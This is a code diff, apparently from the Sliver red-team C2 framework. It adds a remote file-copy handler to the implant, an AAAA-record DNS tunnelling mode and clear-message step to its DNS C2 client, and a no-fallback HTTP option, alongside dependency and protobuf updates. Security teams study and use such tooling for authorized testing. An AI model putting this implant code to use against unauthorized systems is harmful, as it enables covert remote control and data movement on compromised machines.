golang.org/x/time v0.3.0 h1:rg5rLMjNzMS1RkNLzCG38eapWhnYLFYXDXj2gOlr8j4=
|
||||
golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
@@ -550,8 +550,8 @@ google.golang.org/grpc v1.56.1 h1:z0dNfjIl0VpaZ9iSVjA6daGatAYwPGstTjt5vkRMFkQ=
|
||||
google.golang.org/grpc v1.56.1/go.mod h1:I9bI3vqKfayGqPUAwGdOSu7kt6oIJLixfffKrpXqQ9s=
|
||||
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
|
||||
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
|
||||
google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng=
|
||||
google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
|
||||
google.golang.org/protobuf v1.31.0 h1:g0LDEJHgrBl9N9r17Ru3sqWhkIx2NB67okBHPwC7hs8=
|
||||
google.golang.org/protobuf v1.31.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8 h1:5UtTowJZTz1j7NxVzDGKTz6Lm9IWm8DDF6b7a2wq9VY=
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8/go.mod h1:CaHjv79TCgAvXMSFJSVgonHXYWxnhzI3eoHtnX5UgUo=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
@@ -581,8 +581,8 @@ gorm.io/driver/postgres v1.5.2/go.mod h1:fmpX0m2I1PKuR7mKZiEluwrP3hbs+ps7JIGMUBp
|
||||
gorm.io/driver/sqlite v1.5.2 h1:TpQ+/dqCY4uCigCFyrfnrJnrW9zjpelWVoEVNy5qJkc=
|
||||
gorm.io/driver/sqlite v1.5.2/go.mod h1:qxAuCol+2r6PannQDpOP1FP6ag3mKi4esLnB/jHed+4=
|
||||
gorm.io/gorm v1.25.1/go.mod h1:L4uxeKpfBml98NYqVqwAdmV1a2nBtAec/cf3fpucW/k=
|
||||
gorm.io/gorm v1.25.2-0.20230530020048-26663ab9bf55 h1:sC1Xj4TYrLqg1n3AN10w871An7wJM0gzgcm8jkIkECQ=
|
||||
gorm.io/gorm v1.25.2-0.20230530020048-26663ab9bf55/go.mod h1:L4uxeKpfBml98NYqVqwAdmV1a2nBtAec/cf3fpucW/k=
|
||||
gorm.io/gorm v1.25.2 h1:gs1o6Vsa+oVKG/a9ElL3XgyGfghFfkKA2SInQaCyMho=
|
||||
gorm.io/gorm v1.25.2/go.mod h1:L4uxeKpfBml98NYqVqwAdmV1a2nBtAec/cf3fpucW/k=
|
||||
gvisor.dev/gvisor v0.0.0-20230504175454-7b0a1988a28f h1:8GE2MRjGiFmfpon8dekPI08jEuNMQzSffVHgdupcO4E=
|
||||
gvisor.dev/gvisor v0.0.0-20230504175454-7b0a1988a28f/go.mod h1:pzr6sy8gDLfVmDAg8OYrlKvGEHw5C3PGTiBXBTCx76Q=
|
||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
|
||||
@@ -302,6 +302,76 @@ func mvHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func cpHandler(data []byte, resp RPCResponse) {
|
||||
cpReq := &sliverpb.CpReq{}
|
||||
err := proto.Unmarshal(data, cpReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
copy := &sliverpb.Cp{
|
||||
Src: cpReq.Src,
|
||||
Dst: cpReq.Dst,
|
||||
}
|
||||
|
||||
srcFile, err := os.Open(cpReq.Src)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("failed to open source file: %v", err)
|
||||
// {{end}}
|
||||
|
||||
copy.Response = &commonpb.Response{Err: err.Error()}
|
||||
data, err = proto.Marshal(copy)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
defer srcFile.Close()
|
||||
|
||||
dstFile, err := os.Create(cpReq.Dst)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("failed to open destination file: %v", err)
|
||||
// {{end}}
|
||||
|
||||
copy.Response = &commonpb.Response{Err: err.Error()}
|
||||
data, err = proto.Marshal(copy)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
defer dstFile.Close()
|
||||
|
||||
bytesWritten, err := io.Copy(dstFile, srcFile)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("failed to copy bytes to destination file: %v", err)
|
||||
// {{end}}
|
||||
|
||||
copy.Response = &commonpb.Response{Err: err.Error()}
|
||||
data, err = proto.Marshal(copy)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
|
||||
err = dstFile.Sync()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("failed to sync destination file: %v", err)
|
||||
// {{end}}
|
||||
|
||||
copy.Response = &commonpb.Response{Err: err.Error()}
|
||||
data, err = proto.Marshal(copy)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
|
||||
copy.BytesWritten = bytesWritten
|
||||
data, err = proto.Marshal(copy)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func mkdirHandler(data []byte, resp RPCResponse) {
|
||||
mkdirReq := &sliverpb.MkdirReq{}
|
||||
err := proto.Unmarshal(data, mkdirReq)
|
||||
@@ -488,6 +558,19 @@ func uploadHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
// Process Upload
|
||||
upload := &sliverpb.Upload{Path: uploadPath}
|
||||
uploadPathInfo, err := os.Stat(uploadPath)
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
upload.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%v", err),
|
||||
}
|
||||
}
|
||||
|
||||
if !os.IsNotExist(err) && uploadPathInfo.IsDir() {
|
||||
if !strings.HasSuffix(uploadPath, string(os.PathSeparator)) {
|
||||
uploadPath += string(os.PathSeparator)
|
||||
}
|
||||
uploadPath += uploadReq.FileName
|
||||
}
|
||||
|
||||
f, err := os.Create(uploadPath)
|
||||
if err != nil {
|
||||
|
||||
@@ -42,6 +42,7 @@ var (
|
||||
pb.MsgRmReq: rmHandler,
|
||||
pb.MsgMkdirReq: mkdirHandler,
|
||||
pb.MsgMvReq: mvHandler,
|
||||
pb.MsgCpReq: cpHandler,
|
||||
pb.MsgIfconfigReq: ifconfigHandler,
|
||||
pb.MsgExecuteReq: executeHandler,
|
||||
pb.MsgEnvReq: getEnvHandler,
|
||||
|
||||
@@ -42,6 +42,7 @@ var (
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
|
||||
@@ -55,6 +55,7 @@ var (
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgTaskReq: taskHandler,
|
||||
sliverpb.MsgIfconfigReq: ifconfigHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
|
||||
@@ -96,6 +96,7 @@ var (
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
|
||||
@@ -92,6 +92,7 @@ var (
|
||||
ErrInvalidResponse = errors.New("invalid response")
|
||||
ErrInvalidIndex = errors.New("invalid start/stop index")
|
||||
ErrEmptyResponse = errors.New("empty response")
|
||||
ErrInvalidMsg = errors.New("invalid dns message")
|
||||
)
|
||||
|
||||
// DNSOptions - c2 specific options
|
||||
@@ -102,6 +103,7 @@ type DNSOptions struct {
|
||||
MaxErrors int
|
||||
WorkersPerResolver int
|
||||
ForceBase32 bool
|
||||
NoTXT bool
|
||||
ForceResolvConf string
|
||||
ForceResolvers string
|
||||
}
|
||||
@@ -141,6 +143,7 @@ func ParseDNSOptions(c2URI *url.URL) *DNSOptions {
|
||||
MaxErrors: maxErrors,
|
||||
WorkersPerResolver: workersPerResolver,
|
||||
ForceBase32: strings.ToLower(c2URI.Query().Get("force-base32")) == "true",
|
||||
NoTXT: strings.ToLower(c2URI.Query().Get("notxt")) == "true",
|
||||
ForceResolvConf: c2URI.Query().Get("force-resolv-conf"),
|
||||
ForceResolvers: c2URI.Query().Get("resolvers"),
|
||||
}
|
||||
@@ -167,6 +170,7 @@ func NewDNSClient(parent string, opts *DNSOptions) *SliverDNSClient {
|
||||
metadata: map[string]*ResolverMetadata{},
|
||||
parent: parent,
|
||||
forceBase32: opts.ForceBase32,
|
||||
noTXT: opts.NoTXT,
|
||||
forceResolvConf: opts.ForceResolvConf,
|
||||
forceResolvers: opts.ForceResolvers,
|
||||
queryTimeout: opts.QueryTimeout,
|
||||
@@ -192,6 +196,7 @@ type SliverDNSClient struct {
|
||||
retryCount int
|
||||
queryTimeout time.Duration
|
||||
forceBase32 bool
|
||||
noTXT bool
|
||||
forceResolvConf string
|
||||
forceResolvers string
|
||||
subdataSpace int
|
||||
@@ -256,6 +261,8 @@ func (w *DNSWorker) Start(id int, recvQueue <-chan *DNSWork, sendQueue <-chan *D
|
||||
switch work.QueryType {
|
||||
case dns.TypeA:
|
||||
data, _, err = w.resolver.A(work.Domain)
|
||||
case dns.TypeAAAA:
|
||||
data, _, err = w.resolver.AAAA(work.Domain)
|
||||
case dns.TypeTXT:
|
||||
data, _, err = w.resolver.TXT(work.Domain)
|
||||
}
|
||||
@@ -292,7 +299,7 @@ func (s *SliverDNSClient) SessionInit() error {
|
||||
s.resolvers = []DNSResolver{}
|
||||
for _, server := range s.resolvConf.Servers {
|
||||
s.resolvers = append(s.resolvers,
|
||||
NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout),
|
||||
NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
|
||||
)
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
@@ -340,6 +347,14 @@ func (s *SliverDNSClient) SessionInit() error {
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
|
||||
if len(respData) < 1 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] no data received in message")
|
||||
// {{end}}
|
||||
return ErrEmptyResponse
|
||||
}
|
||||
|
||||
data, err := s.cipherCtx.Decrypt(respData)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -389,7 +404,14 @@ func (s *SliverDNSClient) sendInit(resolver DNSResolver, encoder encoders.Encode
|
||||
}
|
||||
resp := []byte{}
|
||||
for _, subdata := range allSubdata {
|
||||
respData, _, err := resolver.TXT(subdata)
|
||||
|
||||
var respData []byte
|
||||
var err error
|
||||
if s.noTXT {
|
||||
respData, _, err = resolver.AAAA(subdata)
|
||||
} else {
|
||||
respData, _, err = resolver.TXT(subdata)
|
||||
}
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] init msg failure %v", err)
|
||||
@@ -398,6 +420,11 @@ func (s *SliverDNSClient) sendInit(resolver DNSResolver, encoder encoders.Encode
|
||||
}
|
||||
if 0 < len(respData) {
|
||||
resp = append(resp, respData...)
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] no data received in response")
|
||||
// {{end}}
|
||||
return nil, ErrInvalidResponse
|
||||
}
|
||||
}
|
||||
return resp, nil
|
||||
@@ -425,6 +452,7 @@ func (s *SliverDNSClient) WriteEnvelope(envelope *pb.Envelope) error {
|
||||
|
||||
// ReadEnvelope - Recv an envelope from the server
|
||||
func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
|
||||
var respData []byte
|
||||
if s.closed {
|
||||
return nil, ErrClosed
|
||||
}
|
||||
@@ -444,14 +472,26 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] poll msg domain: %v", domain)
|
||||
// {{end}}
|
||||
respData, _, err := resolver.TXT(domain)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
|
||||
if s.noTXT {
|
||||
respData, _, err = resolver.AAAA(domain)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
respData, _, err = resolver.TXT(domain)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] read msg resp data: %v", respData)
|
||||
// {{end}}
|
||||
if len(respData) < 1 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] no data received in response")
|
||||
// {{end}}
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
@@ -471,10 +511,38 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if len(respData) < 1 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] no data received in message")
|
||||
// {{end}}
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
plaintext, err := s.cipherCtx.Decrypt(ciphertext)
|
||||
if err != nil && err != cryptography.ErrReplayAttack {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
//Send clear
|
||||
clearMsg, err := s.clearMsg(dnsMsg.ID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
domain, err = s.joinSubdataToParent(clearMsg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] clear msg domain: %v", domain)
|
||||
// {{end}}
|
||||
|
||||
respData, _, err = resolver.A(domain)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] clear msg error: %s", err)
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
envelope := &pb.Envelope{}
|
||||
err = proto.Unmarshal(plaintext, envelope)
|
||||
return envelope, err
|
||||
@@ -529,7 +597,12 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
|
||||
return nil, ErrInvalidResponse
|
||||
}
|
||||
|
||||
const bytesPerTxt = 182 // 189 with base64, -6 metadata, -1 margin
|
||||
var bytesPerTxt uint32
|
||||
if s.noTXT {
|
||||
bytesPerTxt = 192
|
||||
} else {
|
||||
bytesPerTxt = 182 // 189 with base64, -6 metadata, -1 margin
|
||||
}
|
||||
|
||||
wg := &sync.WaitGroup{}
|
||||
results := make(chan *DNSResult, int(manifest.Size/bytesPerTxt)+1)
|
||||
@@ -555,11 +628,21 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
|
||||
}
|
||||
|
||||
wg.Add(1)
|
||||
s.recvQueue <- &DNSWork{
|
||||
QueryType: dns.TypeTXT,
|
||||
Domain: domain,
|
||||
Wg: wg,
|
||||
Results: results,
|
||||
|
||||
if s.noTXT {
|
||||
s.recvQueue <- &DNSWork{
|
||||
QueryType: dns.TypeAAAA,
|
||||
Domain: domain,
|
||||
Wg: wg,
|
||||
Results: results,
|
||||
}
|
||||
} else {
|
||||
s.recvQueue <- &DNSWork{
|
||||
QueryType: dns.TypeTXT,
|
||||
Domain: domain,
|
||||
Wg: wg,
|
||||
Results: results,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -570,6 +653,9 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
|
||||
recvData := make(chan []byte)
|
||||
errors := []error{}
|
||||
go func() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] Manifest Len: %d ", manifest.Size)
|
||||
// {{end}}
|
||||
recvDataBuf := make([]byte, manifest.Size)
|
||||
for result := range results {
|
||||
if result.Err != nil {
|
||||
@@ -577,11 +663,14 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
|
||||
continue
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] read result data: %v", result.Data)
|
||||
log.Printf("[dns] read result data: Len: %d %v", len(result.Data), result.Data)
|
||||
// {{end}}
|
||||
recvMsg := &dnspb.DNSMessage{}
|
||||
err := proto.Unmarshal(result.Data, recvMsg)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] unmarshal error: %s", err)
|
||||
// {{end}}
|
||||
errors = append(errors, result.Err)
|
||||
continue
|
||||
}
|
||||
@@ -589,6 +678,9 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
|
||||
log.Printf("[dns] recv msg: %v", recvMsg)
|
||||
// {{end}}
|
||||
if manifest.Size < recvMsg.Start || int(manifest.Size) < int(recvMsg.Start)+len(recvMsg.Data) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] invalid index")
|
||||
// {{end}}
|
||||
errors = append(errors, ErrInvalidIndex)
|
||||
continue
|
||||
}
|
||||
@@ -814,6 +906,23 @@ func (s *SliverDNSClient) pollMsg(meta *ResolverMetadata) (string, error) {
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverDNSClient) clearMsg(msgId uint32) (string, error) {
|
||||
nonceBuf := make([]byte, 8)
|
||||
rand.Read(nonceBuf)
|
||||
clearMsg, _ := proto.Marshal(&dnspb.DNSMessage{
|
||||
ID: msgId,
|
||||
Type: dnspb.DNSMessageType_CLEAR,
|
||||
Data: nonceBuf,
|
||||
})
|
||||
if s.enableCaseSensitiveEncoder {
|
||||
msg, _ := s.base58.Encode(clearMsg)
|
||||
return string(msg), nil
|
||||
} else {
|
||||
msg, _ := s.base32.Encode(clearMsg)
|
||||
return string(msg), nil
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverDNSClient) otpMsg() (string, error) {
|
||||
otpMsg := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_TOTP,
|
||||
|
||||
@@ -39,7 +39,7 @@ var (
|
||||
)
|
||||
|
||||
// NewGenericResolver - Instantiate a new generic resolver
|
||||
func NewGenericResolver(address string, port string, retryWait time.Duration, retries int, timeout time.Duration) DNSResolver {
|
||||
func NewGenericResolver(address string, port string, retryWait time.Duration, retries int, timeout time.Duration, parent string) DNSResolver {
|
||||
if retries < 1 {
|
||||
retries = 1
|
||||
}
|
||||
@@ -52,6 +52,7 @@ func NewGenericResolver(address string, port string, retryWait time.Duration, re
|
||||
WriteTimeout: timeout,
|
||||
},
|
||||
base64: encoders.Base64Encoder{},
|
||||
parent: parent,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -62,6 +63,7 @@ type GenericResolver struct {
|
||||
retryWait time.Duration
|
||||
resolver *dns.Client
|
||||
base64 encoders.Base64Encoder
|
||||
parent string
|
||||
}
|
||||
|
||||
// Address - Return the address of the resolver
|
||||
@@ -114,6 +116,87 @@ func (r *GenericResolver) a(domain string) ([]byte, time.Duration, error) {
|
||||
return records, rtt, err
|
||||
}
|
||||
|
||||
// AAAA - Query for AAAA records
|
||||
func (r *GenericResolver) AAAA(domain string) ([]byte, time.Duration, error) {
|
||||
var resp []byte
|
||||
var rtt time.Duration
|
||||
var err error
|
||||
for attempt := 0; attempt < r.retries; attempt++ {
|
||||
resp, rtt, err = r.aaaa(domain)
|
||||
if err == nil {
|
||||
break
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] query error: %s (retry wait: %s)", err, r.retryWait)
|
||||
// {{end}}
|
||||
time.Sleep(r.retryWait)
|
||||
}
|
||||
return resp, rtt, err
|
||||
}
|
||||
|
||||
func (r *GenericResolver) aaaa(domain string) ([]byte, time.Duration, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] %s->AAAA record of %s ?", r.address, domain)
|
||||
// {{end}}
|
||||
resp, rtt, err := r.localQuery(domain, dns.TypeAAAA)
|
||||
if err != nil {
|
||||
return nil, rtt, err
|
||||
}
|
||||
if resp.Rcode != dns.RcodeSuccess {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] error response status: %v", resp.Rcode)
|
||||
// {{end}}
|
||||
return nil, rtt, ErrInvalidRcode
|
||||
}
|
||||
records := make([]byte, 512)
|
||||
dataSize := uint32(0)
|
||||
|
||||
if len(resp.Answer) > 0 {
|
||||
for _, answer := range resp.Answer {
|
||||
switch answer := answer.(type) {
|
||||
case *dns.AAAA:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] answer (aaaa): %v", answer.AAAA)
|
||||
// {{end}}
|
||||
|
||||
chunkMeta := uint32(answer.Hdr.Ttl)
|
||||
chunkIdx := (chunkMeta & 0xff00) >> 8
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] chunk idx: %d", chunkIdx)
|
||||
// {{end}}
|
||||
|
||||
tempSize := chunkMeta & 0xff
|
||||
if dataSize != 0 {
|
||||
if tempSize != dataSize {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] inconsistent record size. should all be the same: %d", tempSize)
|
||||
// {{end}}
|
||||
return nil, rtt, ErrInvalidResponse
|
||||
}
|
||||
} else {
|
||||
dataSize = tempSize
|
||||
}
|
||||
|
||||
copy(records[chunkIdx*16:], []byte(answer.AAAA))
|
||||
//records = append(records, []byte(answer.AAAA)...)
|
||||
}
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
} else {
|
||||
log.Printf("[dns] answer (aaaa): no records returned")
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
data := []byte{}
|
||||
if dataSize > 0 {
|
||||
// Trim output data
|
||||
data = make([]byte, dataSize)
|
||||
copy(data, records[0:dataSize])
|
||||
}
|
||||
|
||||
return data, rtt, err
|
||||
}
|
||||
|
||||
// TXT - Query for TXT records
|
||||
func (r *GenericResolver) TXT(domain string) ([]byte, time.Duration, error) {
|
||||
var resp []byte
|
||||
@@ -145,18 +228,24 @@ func (r *GenericResolver) txt(domain string) ([]byte, time.Duration, error) {
|
||||
}
|
||||
|
||||
records := ""
|
||||
for _, answer := range resp.Answer {
|
||||
switch answer := answer.(type) {
|
||||
case *dns.TXT:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] answer (txt): %v", answer.Txt)
|
||||
// {{end}}
|
||||
records += strings.Join(answer.Txt, "")
|
||||
}
|
||||
}
|
||||
data := []byte{}
|
||||
if 0 < len(records) {
|
||||
data, err = r.base64.Decode([]byte(records))
|
||||
if len(resp.Answer) > 0 {
|
||||
for _, answer := range resp.Answer {
|
||||
switch answer := answer.(type) {
|
||||
case *dns.TXT:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] answer (txt): %v", answer.Txt)
|
||||
// {{end}}
|
||||
records += strings.Join(answer.Txt, "")
|
||||
}
|
||||
}
|
||||
if 0 < len(records) {
|
||||
data, err = r.base64.Decode([]byte(records))
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
} else {
|
||||
log.Printf("[dns] answer (txt): no records returned")
|
||||
// {{end}}
|
||||
}
|
||||
return data, rtt, err
|
||||
}
|
||||
|
||||
@@ -19,6 +19,7 @@ package dnsclient
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
@@ -70,6 +71,26 @@ func (r *SystemResolver) A(domain string) ([]byte, time.Duration, error) {
|
||||
return addrs, rtt, nil
|
||||
}
|
||||
|
||||
// AAAA - Query for AAAA records
|
||||
func (r *SystemResolver) AAAA(domain string) ([]byte, time.Duration, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] %s->AAAA record of %s?", r.Address(), domain)
|
||||
// {{end}}
|
||||
started := time.Now()
|
||||
ips, err := net.DefaultResolver.LookupIP(context.Background(), "ip4", domain)
|
||||
rtt := time.Since(started)
|
||||
if err != nil {
|
||||
return nil, rtt, err
|
||||
}
|
||||
var addrs []byte
|
||||
for _, ip := range ips {
|
||||
if ip.To16() != nil {
|
||||
addrs = append(addrs, ip.To16()...)
|
||||
}
|
||||
}
|
||||
return addrs, rtt, nil
|
||||
}
|
||||
|
||||
// TXT - Query for TXT records
|
||||
func (r *SystemResolver) TXT(domain string) ([]byte, time.Duration, error) {
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
@@ -26,5 +26,6 @@ import (
|
||||
type DNSResolver interface {
|
||||
Address() string
|
||||
A(string) ([]byte, time.Duration, error)
|
||||
AAAA(string) ([]byte, time.Duration, error)
|
||||
TXT(string) ([]byte, time.Duration, error)
|
||||
}
|
||||
@@ -71,6 +71,7 @@ type HTTPOptions struct {
|
||||
PollTimeout time.Duration
|
||||
MaxErrors int
|
||||
ForceHTTP bool
|
||||
NoFallback bool
|
||||
DisableUpgradeHeader bool
|
||||
HostHeader string
|
||||
|
||||
@@ -110,6 +111,7 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
|
||||
PollTimeout: pollTimeout,
|
||||
MaxErrors: maxErrors,
|
||||
ForceHTTP: c2URI.Query().Get("force-http") == "true",
|
||||
NoFallback: c2URI.Query().Get("no-fallback") == "true",
|
||||
DisableUpgradeHeader: c2URI.Query().Get("disable-upgrade-header") == "true",
|
||||
HostHeader: c2URI.Query().Get("host-header"),
|
||||
|
||||
@@ -133,7 +135,7 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
|
||||
return client, nil
|
||||
}
|
||||
}
|
||||
if err != nil || opts.ForceHTTP {
|
||||
if (err != nil && !opts.NoFallback) || opts.ForceHTTP {
|
||||
// If we're using default ports then switch to 80
|
||||
if strings.HasSuffix(address, ":443") {
|
||||
address = fmt.Sprintf("%s:80", address[:len(address)-4])
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v4.23.2
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// source: clientpb/client.proto
|
||||
|
||||
package clientpb
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v4.23.2
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v4.23.2
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
package dnspb
|
||||
|
||||
+703
-697
File diff suppressed because it is too large.
Load diff
@@ -154,6 +154,7 @@ service SliverRPC {
|
||||
rpc Cd(sliverpb.CdReq) returns (sliverpb.Pwd);
|
||||
rpc Pwd(sliverpb.PwdReq) returns (sliverpb.Pwd);
|
||||
rpc Mv(sliverpb.MvReq) returns (sliverpb.Mv);
|
||||
rpc Cp(sliverpb.CpReq) returns (sliverpb.Cp);
|
||||
rpc Rm(sliverpb.RmReq) returns (sliverpb.Rm);
|
||||
rpc Mkdir(sliverpb.MkdirReq) returns (sliverpb.Mkdir);
|
||||
rpc Download(sliverpb.DownloadReq) returns (sliverpb.Download);
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go-grpc. DO NOT EDIT.
|
||||
// versions:
|
||||
// - protoc-gen-go-grpc v1.2.0
|
||||
// - protoc v4.23.2
|
||||
// - protoc v3.21.12
|
||||
// source: rpcpb/services.proto
|
||||
|
||||
package rpcpb
|
||||
@@ -136,6 +136,7 @@ type SliverRPCClient interface {
|
||||
Cd(ctx context.Context, in *sliverpb.CdReq, opts ...grpc.CallOption) (*sliverpb.Pwd, error)
|
||||
Pwd(ctx context.Context, in *sliverpb.PwdReq, opts ...grpc.CallOption) (*sliverpb.Pwd, error)
|
||||
Mv(ctx context.Context, in *sliverpb.MvReq, opts ...grpc.CallOption) (*sliverpb.Mv, error)
|
||||
Cp(ctx context.Context, in *sliverpb.CpReq, opts ...grpc.CallOption) (*sliverpb.Cp, error)
|
||||
Rm(ctx context.Context, in *sliverpb.RmReq, opts ...grpc.CallOption) (*sliverpb.Rm, error)
|
||||
Mkdir(ctx context.Context, in *sliverpb.MkdirReq, opts ...grpc.CallOption) (*sliverpb.Mkdir, error)
|
||||
